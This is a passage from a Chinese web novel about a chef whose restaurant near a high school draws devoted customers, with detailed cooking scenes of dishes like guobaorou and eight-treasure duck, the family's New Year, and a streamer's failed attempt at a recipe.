牛里脊肉本来就嫩，经过腌制后吃起来更加鲜嫩多汁，黑胡椒酱汁裹在表面咸鲜浓郁，咀嚼间牛肉的脂香与黑胡椒的辛辣完美融合，不论是味道还是口感都无可挑剔。 不光牛肉好吃，里面杏鲍菇更是美味，经过煸炒，菌菇特有的香味被完全激发出来，刚进嘴就尝到满口鲜味，吃起来爽滑又不失韧劲、汁水充盈。 黑胡椒的辛辣并没有掩盖杏鲍菇本身的鲜甜，反而和它的菌菇风味达成完美平衡，好吃到令人上瘾。 “怪不得好多人都说杏鲍菇做好了比肉还香，确实啊！” 听到朋友对那道黑胡椒牛肉杏鲍菇如此夸赞，小李有点好奇，伸出筷子道：“我尝尝。” “你不是最讨厌黑胡椒了？别浪费我这么好吃的菜。” “老板手艺那么好，说不定他做的我就能接受。” 只能说来店里吃饭的老顾客对楚易文手艺实在是信任，连自己不爱的口味都愿意尝试。 牛肉刚进嘴，浓郁的黑胡椒气息让小李下意识皱眉，然而等到那股酱香咸鲜味在味蕾上蔓延开来，他又觉得好像没那么难接受。 牙齿上下一碰，鲜嫩的牛肉和黑胡椒的辛辣完美融合，他吃着吃着，刚刚皱起的眉头渐渐松开。 “怎么样？”朋友好奇地看着他，想知道他这个不爱吃黑胡椒的人对这份黑胡椒牛肉杏鲍菇是什么评论。 “比西餐厅的黑胡椒酱牛排要好接受很多，到后面甚至有种越吃越香的感觉。”小李说完，不客气地伸出筷子又夹了些牛肉以及杏鲍菇，直接全部送进嘴里。 牛肉和杏鲍菇一起吃，更是产生一加一大于二的反应，嫩滑多汁的牛肉和肥厚弹牙的杏鲍菇两种不同的口感，以及牛肉鲜和菌菇鲜两种不同的鲜味，吃完令人唇齿留香。 徐笑莹一家人来得不算早也不算晚，不过他们运气倒是不错，买好饭时正好有一桌顾客刚吃完，于是顺利得到座位。 看到擦桌子的是位老人，徐笑莹开口向她说声“谢谢”后才迫不及待握起筷子。 她是肉食爱好者，先塞了块牛肉进嘴里，那鲜嫩的口感，完美的调味，好吃到她眼睛都亮起来：“好好吃啊！比西餐厅里的牛排更加鲜嫩多汁！” 咸鲜的酱汁配上鲜嫩的牛肉，加上黑胡椒的辛辣开胃，吃得她食欲大开。哪怕刚刚到店闻见香味时她就知道肯定好吃，但在真正吃过以后，发现比自己想象中更加美味，那种吃到美食的满足感，让她心里不停冒泡泡。 美食的意义就是能给人带来幸福感，吃到如此美味的黑胡椒牛肉杏鲍菇，徐笑莹甚至都后悔没再早两天回来。 “笑笑，你快尝尝这个丸子，味道特别好。”徐母吃完南煎丸子，好吃到立刻推荐给女儿。 南煎丸子表面微焦酥韧，内里鲜嫩多汁，由于打搅上劲的缘故，吃起来还带着几分弹牙，有嚼劲的同时却是半点都不柴。 徐母平常在家也会做肉丸子，但还是第一次吃到这种咸鲜浓郁，外焦里嫩，脂香浓郁却不腻的丸子。 听到妈妈的话，徐笑莹下意识夹起个丸子，经过煎制丸子表面带着金黄色焦痕，配上红亮的芡汁，看起来油润诱人。 “唔，这丸子……味道真是绝了！看起来红润油亮，吃起来却是一点都不腻，尤其是表面这层焦香的口感，也太好吃了吧！” 只吃一口，徐笑莹立刻就爱上南煎丸子的味道，好吃到感觉幸福死了。 “肉末茄子也好吃，特别下饭。”旁边徐父就着肉末茄子干掉小半碗饭，拿起勺子直接往女儿碗里来了点。 “谢谢爸。”徐笑莹说完低头尝了口，茄子软糯吸汁、肉末咸鲜有嚼劲，香得她连话都说不出来。 发现桌上每道菜都是人间美味，她一时都不知道从哪个吃起，于是哐哐往嘴里塞，先吃口牛肉再吃口丸子……总之嘴巴就没停过。 “慢点吃，别噎着了。” 徐父不说还好，一说徐笑莹还真差点被噎着，拍着胸口好一会才把饭菜都咽下去。 “快喝点汤。”徐母端着汤让女儿喝完，随即就转头瞪着丈夫，“不会说话就别说。” 徐笑莹：“不怪爸，主要是饭菜太好吃了，就连汤都特别鲜。” 都说众口难调，但当厨艺好到一定境界时，极致的美味，让再挑剔的人都挑不出刺来。就比如今天的黑胡椒牛肉杏鲍菇，好多不爱黑胡椒的顾客都忍不住品尝。 “感觉老板真是做什么都好吃。” “是啊，他家菜闭着眼睛点都不会出错。” “牛肉太好吃了，这股黑胡椒的辛辣味，真是绝了！” “杏鲍菇才是真叫香，感觉比肉还好吃。” 顾客们赞不绝口时，旁边桌上，楚瑾钰几个人同样吃得头也不抬。 “真奇怪，为什么之前吃过的黑胡椒泡面那么难吃，但楚爸做的黑胡椒牛肉杏鲍菇却这么香！” 胡一齐是几个人里最不挑食的，但之前吃过一次的黑胡椒风味泡面，却是难吃到他现在还记得。 “废话，苦瓜那么难吃的玩意楚爸都能做好吃，区区黑胡椒算什么。”叶其林说完顺手就夹起一片杏鲍菇送进碗里。 楚瑾钰对这个话题没兴趣，端起碗夹了个南煎丸子，一口吃掉半个丸子后，才语气愉悦地开口：“后天就要放假了，想想就开心。” “班主任还没正式通知，确定是后天放假吗？”胡一齐咽下嘴里的牛肉道。 楚瑾钰：“我爸的消息你竟然还质疑？” “咱们学校连在食堂工作的人都忍不住跑楚爸这来吃饭，更别说那些老师、主任之类的，论消息灵通，谁能比得过楚爸。”叶其林道。 说起来也好笑，因为楚易文家盲盒餐厅的缘故，让学校食堂得到更多学生的抱怨。原本食堂里的人对盲盒餐厅是很怨念的，然而在有人抱着“我倒要看看有多好吃的”想法来过一次盲盒餐厅后，就直接“真香”了。 发现盲盒餐厅的饭菜别说食堂比不了，很多大饭店都多有不如，想着反正他家每天都限量，又抢不了食堂的生意，食堂里的人瞬间就心平气和起来，学生们吐槽时还能回一句：“我们只是食堂，跟盲盒餐厅怎么比？” 食堂这话一出，把学生们都整无语了。 胡一齐：“那看来咱们班主任不行啊，消息还没楚爸灵通。” “没办法，谁让楚爸手艺太好，大家都想跟他套套近乎，消息想不灵通都难。”商时贸吃两口肉末茄子后也忍不住插话。 说到这楚瑾钰又想起件事来，忍不住吐槽：“我爸在学校边开店，咱们吃饭确实方便了，但我这学期可遭老罪了！” 胡一齐闻言，没忍住噗呲一声笑起来。 楚瑾钰倒是没夸张，自从盲盒餐厅开业，学校里好多老师都过来吃饭，他们班老师自然不例外，跟楚易文熟悉后，老师们在班上都会下意识关照一下楚瑾钰，具体表现在经常点他起来回答问题、讲完课后确定他有没有听懂。 商时贸：“你往好处想，你这学期期末考试肯定有能进步好几名。” “就是，老师关照你还不好，这可是好事。”胡一齐笑嘻嘻道。 楚瑾钰斜眼看他：“这好事给你你要不要？” “我不要，你还是自己留着吧。”胡一齐说完夹了一筷子牛肉，“我要吃的就行了。” 楚瑾钰闻言，直接握着筷子和他抢起来。 李老太太又擦完两张桌子走过来，看到他们抢菜还以为不够吃，开口道：“厨房里还有，要不要给你们再加点？” 厨房里的是她和楚易文的午餐，她是那种宁愿自己少吃点，也要让孩子吃饱的长辈，说话间就要转身去拿。 楚瑾钰赶紧道：“不用，够吃了，我跟胡一齐闹着玩呢。” 胡一齐则是转移话题道：“对了奶奶，你朋友家的孩子怎么样了？那天你给她带的饭吃了吗？” “吃了，她已经没事了。”李老太太笑着道。 胡一齐：“我就说没人能拒绝楚爸做的饭！” 第90章 锅包肉 楚易文的手艺确实没人能拒绝, 他之前为了转移顾客注意力随口一说，结果顾客们倒是积极，等午餐结束后, 店里原本崭新的本子上写满菜名。 脆皮猪肘、腌笃鲜、红烧排骨、梅菜扣肉、灯影牛肉、芋头烧鸡、啤酒鸭…… 楚易文在看到其中一页都是同一个字迹时，边继续统计边好笑地摇摇头。 最终统计结果出来，被顾客们提起最多的十道菜分别是腌笃鲜、椒盐大虾、辣子鸡丁、啤酒鸭、水煮鱼片、清炖牛肉汤、红烧肉、脆皮猪肘、米粉蒸肉、黄豆烧鸡爪。 其实黄豆烧鸡爪和灯影牛肉本来是同为第十名，但让楚易文二选一，当然是黄豆烧鸡爪做起来更方便些，他自然选择鸡爪。 开店的生活对他来说倒是不算累，就是白天大部分时间都被占据, 因此马上就要放假，他心里还挺高兴，统计好菜单后提前把黄豆给泡出来。 次日。 得知盲盒餐厅明天就不营业, 今天顾客们都特别积极，有空的自己早早过来，没空地提前找好跑腿帮忙代买。 今天的菜都挺硬, 要是把十道菜放一块，都能算是提前吃年夜饭了, 等到楚易文开始在厨房里忙活起来时，简直能香死个人。 “水煮鱼片、红烧肉……”小月轻轻嗅着从厨房里飘出来的香味，很快就分辨出中午的菜色，“辣子鸡丁。” 当辣子鸡丁那股香辣气息飘出来时, 几个在店里跑来跑去的小朋友不由打起喷嚏来。 孩子在旁边玩时，两个妈妈忍不住小声聊天：“想到明天就有点头痛。” “是啊，不能过来吃饭，我家那个明天肯定会闹。” “唉，老板放假也太早了, 我还以为生意那么好，会开到过年前一个星期才放假。” 盲盒餐厅放假已成事实，两位妈妈叹气完，纷纷拿出手机打开楚易文的视频账号，商量着回家后看能不能学习一下。 放学铃声响起，楚易文将菜端出来时，看到店里比平常人更加多，其中还有好多跑腿小哥，心里不由“嚯”了一声。 在楚易文忙着打饭时，还有顾客不死心，边被扑鼻而来的香味馋到边开口。 “红烧肉简直能把人馋死，除了你家，我再也吃不到这么香的菜，老板你真不能多开几天店吗？” 前面楚易文还不吭声，等喊话的顾客越来越多，他只能笑着回了句：“能放假谁想上班。” 这却是大实话，在不缺钱的情况下放假和上班二选一，傻子都不会选上班。 眼见说服不了他，顾客们只能化悲愤为食欲，平常吃两个菜的今天奢侈地多点一个，还有人甚至一个人就点五个菜，决定吃不完打包回去慢慢吃。 红烧肉在以前属于稀罕物，放到现在已经是家家户户都能吃到的菜，然而这道菜想要做得肥而不腻，甜与咸完美平衡却是没那么容易。 说实话，光是这一道百吃不腻的红烧肉放到其他店里就能成为店铺招牌菜，更别说楚易文做的每道菜都有这个水准。 “崽，你干嘛啊？” 有位妈妈刚夹起块红烧肉，女儿就立刻凑过来咬上去，惹得她发出惊呼。 小姑娘微鼓着脸颊边咀嚼边说：“我帮妈妈吃肥肉呀！” 她是妈妈的贴心小棉袄，平常就经常帮忙解决肥肉，此时微微仰着小脸，配上嘴唇沾染的油光，看起来又乖巧又可爱。 “这个不用帮，妈妈能自己吃。” 平常她确实不吃肥肉，但盲盒餐厅的红烧肉肉皮软糯，肥肉轻轻一抿就在嘴里化开，脂香浓郁的同时丝毫不腻，她感觉和瘦肉的酥烂入味比起来，是另一种好吃。 “知道啦~”小姑娘点点头，握着勺子从腌笃鲜里捞了块肉吃起来。 今天店里除了带孩子过来吃饭的家长，帮孩子买饭的高中生，帮顾客买饭的跑腿外，过来直播、拍视频的网红也不少。 风哥：“你们看看这个腌笃鲜，味道简直绝了，我还是头一次知道咸肉炖汤还能这么好吃……” 【吃吧吃吧，反正你吃完今天这两顿，明天也没得吃了。】 【我才不羡慕，一直没吃过我还不会馋，你现在吃那么好，看明天过后你吃什么去。】 【就是，由俭入奢易，由奢入简难，等吃不着了看你怎么馋。】 直播间里粉丝们不全是酸葡萄心理，而是真心觉得他吃不到后有得馋。 事实上还真让他们说准了，当盲盒餐厅放假后风哥继续去其他店铺探店，吃什么都感觉差点味道。 一个星期过后，这天他没再出门，而是直接在家里开播：“家人们，我忽然特别馋盲盒餐厅的酱肘子，感觉其他店炖的都不是那个味，所以我特意去找了老板发的视频教程，决定照着做一下。” 【风哥你这是要转型成做菜主播了？】 【会吃不代表会做，我劝你别乱尝试。】 【赌五包辣条，主播肯定会翻车！】 看得出来风哥是早有准备，食材全部都买好，他用平板打开视频教程，边看边夸：“老板不光菜做得好，连教程都拍得如此细致，家人们，我觉得跟着视频一起学看起来不难。” 说完他就直接开始动手，跟着视频里教的开始用明火烧猪肘，去除猪毛和腥臊味。 【主播，你火是不是开太大了？】 【不对吧，人家火好像燎上去的，你这样一直对着一个地方烧，确定没问题？】 等风哥注意到直播间弹幕时，他手里那个猪肘已经被烧的黢黑，他看看自己手里的颜色，再看看视频里的，开口道：“问题不大，反正后面还要洗。” 他说完，拿起钢丝球就开始刷洗猪肘，然而视频中猪肘洗完是金黄色，他洗出来却是焦中带黑。 “颜色没那么好看，但应该不影响吃。” 风哥照着视频的步骤慢慢来，结果等炖出来时，锅盖没掀开他就感觉味道不太对，等掀开后，一股焦糊味扑面而来。 “什么鬼，我明明是跟着视频做的，为什么会糊？” 【有没有一种可能，人家老板大火烧开后转小火慢炖的，你看看你那火……】 【做饭最忌讳灵机一动，你说你刚刚都转小火了，干嘛又非要调成中火，非要用中火你倒是减少一下炖的时间啊！】 【哈哈哈哈，笑死我了，我就知道你肯定会翻车，要是跟着视频就能那么容易学会做菜，那这世界上早就不缺大厨了。】 风哥试图辩解：“我是觉得最开始调的火太小了，只有一个小火苗……” 费了那么多工夫做出来，他可不愿意浪费，最终还是将酱肘子装盘。由于猪肘已经染上酱色，之前他烧毛失败产生的焦黄色倒是已经不怎么看得出来，再把糊掉的地方挡住，咋一看还挺像那么回事。 “别看有点糊，但味道真不难吃，炖得又烂糊又入味。” 可能是自己亲自动手做的，也可能是真饿了，风哥吃着吃着感觉味道还可以。 跟盲盒餐厅的酱肘子肯定没得比，但他感觉凭自己能做出这个味道，已经很神奇。 【你是真饿了！】 【照着人家的视频做出这种玩意，你要笑死我啊，不行，我得去发给老板看，让他看看他带出来的兵。】 【看完主播的做饭，我忽然充满自信，感觉我上我也行。】 【感觉视频教程确实不错，这就去加个关注，到时候让我妈照着视频做今年的年夜饭。】 无聊的粉丝是真不少，他们还真将风哥做的酱肘子发到楚易文视频评论区，替他交作业。 寒假开始后，楚易文的日子特别悠闲，每天除了做饭外，要么在家里看看书、看看电影，要么趁天气不错出去钓鱼。 这天晚上他正无聊，玩手机时就发现有好多私信，得知是之前经常去店里吃饭的网红根据自己教程做菜翻车后，好奇地过去瞄了眼。 风哥那场直播早就被剪成视频，评论区粉丝们要么在刷“哈哈哈”要么在刷“做得很好，下次别做了”。 楚易文感觉自己教程里已经讲解得很清楚，搞不懂他为什么先把食材烧糊，炒糖色时又拖拖拉拉，最后炖的时候还要乱调火候。 对于风哥在视频里说酱肘子味道还行，他是真不太信，因为感觉炒糖色时糖色有点糊，最后猪肘吃起来必然会发苦。 他到自己的视频底下又看了眼，发现同样有不少看热闹不嫌事大的风哥粉丝过来评论，想了下还是在最上面那条评论回复一句【去除猪毛和腥臊味用燎烧手法，糖色掌握不好可以不炒，直接用生抽、老抽上色也行，炖煮时一定是大火烧开，小火慢炖，火候一定要把握好。】 看到楚易文冒泡，评论区瞬间更加热闹，有人继续@风哥过来学习，有人则是让楚易文出一些年夜饭教程。 去年做年夜饭时楚易文有拍视频，直接回复让他们去账号里看。 他账号里的视频是真不少，去年年夜饭的视频已经被压在中间的位置，网友们翻到相关视频时，口水差点没流下来。 【这年夜饭看起来好好吃啊！比大酒店的年夜饭席面还诱人！】 【哇，这年夜饭菜色每道都是我爱吃的，我要赶紧学起来！】 外地网友们还好，被馋到后只想着今年年夜饭可以参考一下，本地网友们，尤其是之前经常在盲盒餐厅吃饭的老顾客，则是发出幽怨的声音。 【吃不到你家饭的第七天，难受，想哭……】 【啊啊啊！老板你为什么要这么早放假，我好馋你做的灯影牛肉、辣子鸡丁、蜜汁香辣小鱼干、回锅肉（口水）】 【老板，你已经放一个星期假了，现在能回来开店了吗？】 【老板老板快回来，没有你的日子，我连饭都吃不香了。】 楚易文看到老顾客们催自己回去开店，觉得今天玩手机的时候够了，直接放下手机开始看书。 寒假本来就没暑假那么长，好好休息一下，再买一下过年用的年货，给家里来个大扫除，不知不觉就来到大年三十。 去年胡一齐和他爸吵架离家出走，被楚瑾钰带回来一起过年，三个人还挺热闹。今年只有父子俩，由于家里已经布置得红红火火，看起来倒是也不算冷清。 下午四点多，楚易文已经在厨房里忙着做年夜饭，汤早就炖好，他正在做其他菜。 前面备菜时楚瑾钰还帮忙洗菜、剥蒜，开始炒菜后他发现自己待在厨房反而有点碍事，便自觉地出来，趟到沙发上发消息骚扰胡一齐他们。 胡一齐此时正无聊地待在房间里，由于懒得打字，干脆直接戳了个群语音。 “你在干嘛？”语音接通后楚瑾钰可能是想到去年他离家出走，直接问了句。 胡一齐：“没干嘛，在房间里躺着。” “我爸开始做年夜饭了，你今年不来我家过年吗？”楚瑾钰诱惑道。 胡一齐：“别提了，我爸这两天不知道抽什么风，对我又大方又好说话，搞得我想跟他吵架都吵不起来。” 叶其林刚加入语音通话就听见他吐槽，笑着道：“还用说嘛，肯定是被你去年给吓到，怕你又离家出走，可不得哄着你。” “切，拉倒吧，我可没感觉他有被吓到，分明是觉得丢面子。” 不过哪怕知道原因，在没有矛盾的情况下，胡一齐确实也不好在过年这种特殊的节日无缘无故跑朋友家去。 “你们寒假作业做完没？” 楚瑾钰不太喜欢胡一齐他爸，觉得大过年的没必要一直聊他，于是转移话题。 听到他问作业，原本躺着的胡一齐立刻坐起来：“你该不会做完了吧？” 自己作业没做完固然烦躁，但要是兄弟作业做完了，那他将会更难受。 “没，你太看得起我了，那么多作业，鬼才能做得完。”楚瑾钰语气透着怨念。 再有几个月就要迎来高考，这次寒假各科老师都跟疯了一样布置作业，就算他每天被他爸提醒着写作业，还是没能在大年三十之前写完。 商时贸是最后一个看到群通话，他加入进来就听见楚瑾钰他们在聊作业，虽然感觉不太好，但还是忍不住道：“我写完了。” 他话落，楚瑾钰和胡一齐立刻就激动起来，纷纷骂他不讲义气，竟然背着他们偷偷写作业。 “什么偷偷写，我明明是在家里正大光明地写。”商时贸就知道他们会是这个反应，声音里都透着笑意。 不远处，商父、商母、商大哥正在聊天，以前三人聊得其乐融融时经常都会忽略商时贸，得他主动开口才能参与进聊天中。 现在却反过来，商时贸坐在离他们两米远的单人沙发上和几个朋友聊得挺开心，反倒是商父、商父、商大哥他们不由看过来。 “吵到你们了？那我去房间聊。”商时贸察觉到他们的视线，边起身边继续对手机那头道，“楚瑾钰你少炫耀，等开学后楚爸肯定也会给我们做。” 商时贸之所以说这话，是楚瑾钰说他刷视频时看到锅包肉有点馋，他爸年夜饭会给他做锅包肉。 胡一齐：“就是，楚爸肯定也会做锅包肉给我们吃！” “但是你们现在吃不着啊~”楚瑾钰边说边直接语音转视频，起身往厨房方向走。 厨房里，楚易文手里正在做的就是锅包肉。 里脊肉早就切完腌好，已经挂上糊，此时他正在往锅里倒油，等到油温六成热时，他将肉一片片下入锅中，肉片接触热油周围很快冒出好多小油泡，肉香味被高温激发出来的同时，肉片逐渐定型、变硬、变色。 “好香！” 厨房里的香味实在太浓郁，楚瑾钰刚进来就忍不住顺嘴感叹一句，随即将镜头对准油锅。 锅包肉的炸制过程看起来很馋人，肉片在油锅里沉浮，变成一片片诱人的浅金色，隔着屏幕都好像能闻见香味。 第一遍炸完，肉片看起来已经很有卖相，等到楚易文开始复炸时，肉片颜色逐渐变成金黄色，碰撞间发出的声响听起来就很酥脆。 “楚爸，我想吃你做的锅包肉！”胡一齐有被馋到，不由大声喊。 楚易文闻言笑着道：“那你过来吃。” “今天是肯定吃不到了，楚爸等过几天我去你家拜年，你能给我做锅包肉吗？”胡一齐咽着口水道。 楚易文自然不会拒绝，说完将炸好的锅包肉放到旁边沥油，随即开始调糖醋汁，用糖、米醋等调料把糖醋汁调好，锅中留底油，把葱、姜、蒜炒香后将糖醋汁快速倒进去。 大火下他快速搅拌，糖醋汁很快就沸腾，随着一个个大泡鼓起来，变得越来越黏稠。就在此时，他将沥好油的肉片和提前准备好的胡萝卜丝下入锅中，快速颠勺翻炒，保证每片肉都裹上糖醋汁就立刻关火。 原本金黄色的肉片裹上糖醋汁，看起来带着晶莹的光泽感，卖相很是诱人。由于楚瑾钰吃香菜，菜出锅时楚易文在表面撒了点香菜，翠绿的香菜和橙红色胡萝卜丝点缀在锅包肉表面，配上焦黄色姜丝，看着就令人食欲大开。 “看着就好吃！楚爸你真厉害！” 就算吃不着也不影响胡一齐夸夸夸，同时喉咙不自觉滚动，显然有被馋到。 不光是他，叶其林和商时贸看到那肉片大小均匀，经过油炸后看起来金黄酥脆的模样，同样有点想吃。 他们看得着吃不着，楚瑾钰就没这个烦恼，直接握着筷子就夹起一片锅包肉，刚凑到嘴边就被呛到。 “爸，这锅包肉有点呛人。” “锅包肉就是有这股呛鼻的醋香，你别用力去闻，直接吃。”楚易文道。 高温烹汁产生的那股略带“呛鼻”和“冲”的醋香正是锅包肉的灵魂，这股香味刚闻时有点“冲”，但习惯以后就会觉得特别开胃。 楚瑾钰点点头，发现那阵“呛鼻”的醋香过后是浓郁的焦香与肉香，还带着葱、姜、蒜在热油中爆出来的辛香。 过年家里最不缺的就是吃的，今天一天他嘴巴几乎就没停过，此时闻着那股醋香却是立刻有些开胃，不自觉咬上去。 锅包肉刚入口他就感受到那极致的酥脆，外壳微硬却并不咯牙，内里肉片汁水充盈，酥脆和鲜嫩两种不同口感形成鲜明对比。那股酸甜味刚在味蕾上蔓延时有点呛口，多咀嚼两下就感受到它的清爽、明亮，甜与酸的完美平衡，让锅包肉吃起来有点上瘾。 胡一齐：“怎么样？好吃吗？” “好吃，外脆里嫩，酸甜开胃。”楚瑾钰说完将整片锅包肉全部塞进嘴里，吃得那叫一个香。 可能是被锅包肉给馋到，在楚易文和楚瑾钰初一初二到老家拜完年回来，初三上午胡一齐他们就不约而同拎着礼盒上门。 “楚爸新年好，祝你新的一年身体健康，万事如意，笑口常开，吃嘛嘛香！” “楚爸新年好！” “来就来，带什么东西。”楚易文客气一句后给每人发了个大红包，同时想着他们来了自己儿子也得去拜个年，不然显得不礼貌。 “我家就不用……”胡一齐本来想说他家不用去拜，不过想到刚揣进兜里的红包又反应过来，对着楚瑾钰道，“不对，你还是去吧，我爸那人死爱面子，肯定会给你包个大红包。” 于是接下来胡一齐三人留在楚家等着吃午饭，楚瑾钰还得拎着东西分别去他们家拜年。 上个学期末，四人考试成绩都进步很多，楚瑾钰几人已经不算是狐朋狗友，而是属于共同进步的好朋友。加上几个孩子平常都在楚易文店里吃饭，因此楚瑾钰上门后家长们都很热情，不光给塞了大红包，还纷纷留他在家里吃饭。 就连商家，商父商母平时对小儿子态度严苛，此时面对楚瑾钰态度都很和蔼。 楚瑾钰自然不可能在他们家吃饭，吉利话说完，礼物留下来，小坐一会就赶紧回家。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 八宝葫芦鸭 楚瑾钰快去快回, 到家时正好赶上吃午饭时间，他从大门进来就看见胡一齐三人正吃着锅包肉。 “怎么样，好吃不？”他边去洗手边问, 在发现他爸除了锅包肉外还炸了素丸子、肉丸子和鱼块，直接伸手捏个素丸子塞进嘴里。 素丸子分别是萝卜丸子和莲藕丸子，炸得表皮特别焦脆，吃起来那叫一个香。 锅包肉当然好吃，外酥里嫩、酸甜可口、回味悠长。 胡一齐咀嚼着嘴里的锅包肉，压根顾不上跟他说话，还是叶其林开口回了句：“好吃, 楚爸做的锅包肉又香又开胃。” 锅包肉的醋香很浓郁，但在甜味的平衡下，吃起来却并不让人讨厌, 配上油炸出来的脆壳，简直越吃越香。 “我爸炸的丸子也特别好吃。”楚瑾钰从厨房里出来，手里端着碗丸子。 胡一齐这会倒是有反应了, 直接伸手从他碗里抢丸子吃，不论是素丸子还是肉丸子都特别香。 可能是东西抢着吃更香, 很快几个人就围到楚瑾钰旁边，三下五除二抢完整碗丸子。 楚瑾钰：“你们真烦人。” 厨房里楚易文听到外面吵闹的声音，将最后一道菜出锅后开口道：“可以吃饭了。” “来了！” 胡一齐应完，几个人积极跑进厨房来来回回端饭端菜, 很快桌上就摆满，丰盛程度和年夜饭有得一比。 “楚爸你真好！” 看到这么丰盛的饭菜，胡一齐声音那叫一个甜。 “来尝尝腌笃鲜，是用老家带回来的笋炖的。”楚易文边说边用汤碗盛出四份，分别放到他们手边, 最后才给自己盛。 “好喝，特别鲜！” 胡一齐三人那叫一个捧场，端起碗就先抿了口汤，鲜美的同时，有种胃和身体都暖和的感觉。 有些日子没吃到楚易文做的饭，此时别说胡一齐，就连叶其林和商时贸都很是想念他的手艺，开饭后嘴巴就没停过。 “楚爸你炸的丸子真香啊！” “锅包肉特别好吃，明明是酸甜口，吃起来却是一点都不腻。” “还是楚爸你做的鱼好吃。” 看到他们三个吃得那么香，楚易文食欲都受到感染，夹起块薯粉团吃起来。 红薯粉是从老家带回来的，做好后特别美味，尤其是表面煎出来那层焦脆的口感，越吃越香。 一顿饭结束，叶其林他们几个全部都吃饱了撑着，尤其是胡一齐连打了几个饱嗝，脸上却是露出满足的表情：“还是楚爸你做的饭好吃！” 饭吃完，由于楚瑾钰暑假作业还没做完，休息一会后四人凑在一起，三个人写作业，商时贸在旁边复习功课。 看到他们不用自己提醒就自觉写作业，楚易文感觉很是欣慰，给他们准备好水果、饮料和零嘴后就没有打扰，起身去书房。 在书房中将最近几天的视频素材剪出来发出去后，他随手刷了下评论区，结果就看到—— 【初三了，老板你还不开始营业吗？】 【老板我知道你在家，赶紧开门营业，我要吃饭！】 【老板，我家崽馋你做的饭都馋哭了，你到底什么时候开始营业啊？】 【老板新年好！赶紧开门吧，我想吃你做的红烧鸡翅了。】 【老板在不？准备几号开始营业？】 【想吃老板你做的红烧排骨、辣子鸡丁、椒盐大虾、米粉蒸肉、孜然牛肉、烤羊排……】 【外卖太难吃了，老板你快点开门吧，我想吃你做的饭（难受想哭）】 看到一堆人催自己开店，楚易文忍不住看了眼日期，确定今天才大年初三，感觉他们也太急了。 高中都还没开学，他自然不会去开店，不过也快了。 高三生的假期总是短暂的，楚瑾钰好不容易写完作业，才玩没两天就要开学，难受得他大晚上不睡觉满床打滚。 楚易文站在房门外看见这一幕有点好笑，感觉他还像个小孩子一样。 “你小时候就爱这样在床上滚，有一次滚到地上把头磕了个大包，你奶奶还怪我没看好你，拿拖鞋打了我好几下。” 楚瑾钰听到他爸的话，瞬间在床上躺好，假装刚刚在床上打滚的人不是他。 看出孩子长大了要面子，楚易文转移话题道：“还不睡吗？明天就要上学，小心起不来。” 楚瑾钰就是因为明天要上学才不想睡，感觉眼睛一闭一睁，假期就彻底消失。 看到他舍不得睡觉，楚易文觉得不早点睡明天开学迟到可不好，于是道：“快睡吧，明天早上给你做香河肉饼，你不是想吃这个了。” 次日。 哪怕知道早餐有香河肉饼吃，楚瑾钰依旧没能按时起床，还是楚易文做完早餐过来叫他。 在家吃饭显然没那个时间，楚易文让他把书包背好，带上早餐在车上吃。由于家里离学校太近，实际上车上楚瑾钰也只来得及啃几口饼，下车后边走边吃，香味可把同样进学校的学生们给馋得不行。 他刚走到教学楼，胡一齐从后面跑过来，直接就去抢他手里的香河肉饼：“给我吃点，饿死了。” “你别抢，等会把肉弄掉了小心我打你。” 两个人抢着肉饼，一路吃一路打打闹闹地上楼进教室，和其他学生蔫蔫的模样比起来，倒是看起来多了几分活力。 学校门口，楚易文目送儿子进去，掉转车头就菜市场采购今天的食材。 昨天他提前请了保洁打扫店铺卫生，同时将米面粮油买好放进厨房，因此今天买完食材到店时，里里外外都一层不染，看起来很是舒服。 “楚老板新年好啊，终于等到你开门了。”隔壁文具店王老板看到他，立刻过来打招呼。 王老板绝对是盲盒餐厅老顾客，楚易文闻言笑着回了句“新年好”，顺便和他聊了两句。 “我看到你发的年夜饭视频了，好家伙，那叫一个馋人……” 两个人聊完，李老太太也来到店里，发现哪哪都很干净时忍不住对楚易文道：“怎么不等我来搞卫生？” “家里请了人搞卫生，顺便就让她把店里一起打扫了。”楚易文说完未免老太太一直念叨，赶紧转移她注意力，“李婶，你帮我剥点栗子，中午做菜要用。” 果然，听到有活干李老太太顿时就不再纠结卫生的问题，立刻洗干净手就坐下来开始剥板栗。 从初一开始，楚易文账号底下就有一堆人催他开店，他一直当没看见，不过对于网友们想吃他年夜饭的愿望，倒是可以满足一下。 比如今天，他就准备做个年夜饭同款八宝葫芦鸭。葫芦音同“福禄”，寓意吉祥，这道菜做法有难度，是大家看完视频也纷纷喊学不会的一道菜。 光是最开始给整鸭脱骨，就直接能打消大部分人的学习欲望，毕竟要将骨头全部剔除还保持鸭皮完全不破可是个技术活，更别说还要用一堆食材来凑八宝馅料。 做八宝葫芦鸭要用嫩鸭，整鸭脱骨刚开始楚易文也不行，总是一个不小心就把鸭皮弄破，在系统厨房按照老爷子的手法反反复复学习，才学会像如今一样的熟练去骨手法。 只见他从鸭颈部开口，沿着脊椎逐渐分离皮肉，很快就将全部鸭骨取出，保证鸭皮的完整。 鸭子全部脱骨完成，他用料酒、姜片、生抽、盐均匀涂抹鸭身内外，涂抹好放入冰箱冷藏室里缩短腌制时间。 楚易文手法是真熟练，等到他腌制好鸭子时才刚到九点半，随即又立刻去处理其他食材，再把汤炖上。 昨天他有提前在账号上通知今天开店，但并不是所有人都会及时看到，因此到十点时，店里人跟之前比起来不算特别多，至少座位还没坐满。 倒是小月，她对盲盒餐厅是真爱，早就关注楚易文的账号，第一时间就知道营业时间，昨天晚上时就兴奋地给好朋友打电话，约她明天早点过来。 她爷爷的好朋友周老爷子过年时已经被儿女接回家，因此今天是她和爷爷一起来店里。至于她弟，前天和父母一起回首都去，完美错过盲盒餐厅营业时间。 想到自家倒霉弟弟，小月不由在心里“啧啧”两声，觉得他真是没口福。 她和爷爷坐在店里，看到陆续又有顾客进门，忍不住给朋友打电话：“箐玥你还没到吗？快点，店里人越来越多了。” “快了，我已经到学校附近了。”箐玥和小月是高中同学，她家离学校不算特别远，骑着电动车十几分钟就过来。 望着学校焕然一新的模样，她多看两眼才找地方把车停好，随即往盲盒餐厅方向走。离店门口还有十几米距离时，她已经闻见浓郁的香味，喉咙下意识吞咽两下，脚步不自觉加快。 之前天天听小月夸盲盒餐厅好吃，但隔着屏幕她只能看到菜的卖相，此时闻见香味，才知道什么叫诱人。 “好香啊！”进入店中，箐玥先感叹一句才想起来叫人，“黄爷爷新年好。” “新年好。”黄老爷子笑着点头，从口袋里掏出个红包递给她。 